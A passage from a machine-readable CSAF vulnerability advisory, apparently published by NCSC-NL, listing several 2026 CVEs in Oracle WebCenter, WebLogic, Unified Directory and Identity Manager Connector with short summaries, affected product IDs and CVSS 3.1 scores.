"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60947"
},
{
"cve": "CVE-2026-60949",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60949 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60949.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60949"
},
{
"cve": "CVE-2026-60954",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60954 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60954.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60954"
},
{
"cve": "CVE-2026-60955",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to unauthorizedly manipulate sensitive data and potentially cause partial denial of service, rated CVSS 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60955 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60955.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60955"
},
{
"cve": "CVE-2026-60958",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60958 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60958.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60958"
},
{
"cve": "CVE-2026-60961",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with network access to create, delete, or modify critical data, impacting confidentiality and integrity with a CVSS score of 8.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60961 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60961.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.0,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60961"
},
{
"cve": "CVE-2026-60969",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60969 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60969.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60969"
},
{
"cve": "CVE-2026-60970",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60970 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60970.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60970"
},
{
"cve": "CVE-2026-60971",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60971 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60971.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60971"
},
{
"cve": "CVE-2026-60977",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the server via RMI, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60977 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60977.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60977"
},
{
"cve": "CVE-2026-60980",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60980 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60980.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60980"
},
{
"cve": "CVE-2026-60981",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability (CVSS 8.7) in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged attackers with network access and user interaction to create, delete, or modify critical data unauthorizedly.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60981 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60981.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60981"
},
{
"cve": "CVE-2026-60983",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical or all accessible data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60983 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60983.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60983"
},
{
"cve": "CVE-2026-60990",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60990 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60990.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60990"
},
{
"cve": "CVE-2026-60991",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with infrastructure access to fully compromise the connector, with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60991 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60991.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60991"
},
{
"cve": "CVE-2026-60992",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated network attackers via TLS to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60992 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60992.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60992"
},
{
"cve": "CVE-2026-60993",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with physical network access to potentially compromise the component, scoring 7.5 on the CVSS 3.1 scale.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60993 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60993.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60993"
},
{
"cve": "CVE-2026-60994",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access and user interaction to potentially manipulate critical data, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60994 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60994.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60994"
},
{
"cve": "CVE-2026-60995",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60995 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60995.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60995"
},
{
"cve": "CVE-2026-60996",
"notes": [
{
"category": "description",
